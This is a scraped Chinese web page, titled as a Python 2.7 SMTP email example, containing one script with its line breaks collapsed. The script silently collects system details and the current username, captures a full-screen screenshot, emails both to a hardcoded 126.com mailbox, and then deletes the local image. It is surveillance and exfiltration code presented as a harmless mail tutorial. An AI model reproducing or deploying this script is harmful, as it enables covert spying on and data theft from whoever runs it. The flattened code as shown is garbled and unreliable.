python2.7+smtp发邮件

来源:互联网 发布:淘宝女装店 编辑:程序博客网 时间:2024/06/10 20:05
# -*- coding: UTF-8 -*-import smtplibfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextfrom email.header import Headerfrom email.mime.image import MIMEImagefrom PIL import ImageGrabimport osimport platformimport getpass  info='获取操作系统名称及版本号 : [{}]'.format(platform.platform())+'\n'info+='获取操作系统的位数 : [{}]'.format(platform.architecture())+'\n'info+='计算机类型 : [{}]'.format( platform.machine())+'\n'info+='计算机的网络名称 : [{}]'.format(platform.node())+'\n'info+='计算机处理器信息 : [{}]'.format(platform.processor())+'\n'info+='获取操作系统类型 : [{}]'.format(platform.system())+'\n'info+='qqlaunch\n'print infousername=getpass.getuser() def AutoSendMail():    im = ImageGrab.grab()    im.save('1.png')    msg = MIMEMultipart()    msg['From'] = "optimizes@126.com"    msg['To'] = "optimizes@126.com"    msg['Subject'] = username    txt = MIMEText(info,'plain','gb2312')         msg.attach(txt)        image = MIMEImage(open("1.png",'rb').read())    image.add_header('content-disposition', 'attachment',filename='1.png')    msg.attach(image)       server = smtplib.SMTP()    server.connect('smtp.126.com')    server.login('optimizes','password')    server.sendmail(msg['From'],msg['To'],msg.as_string())    server.quit()    os.remove('1.png')if __name__ == "__main__":AutoSendMail()

0 0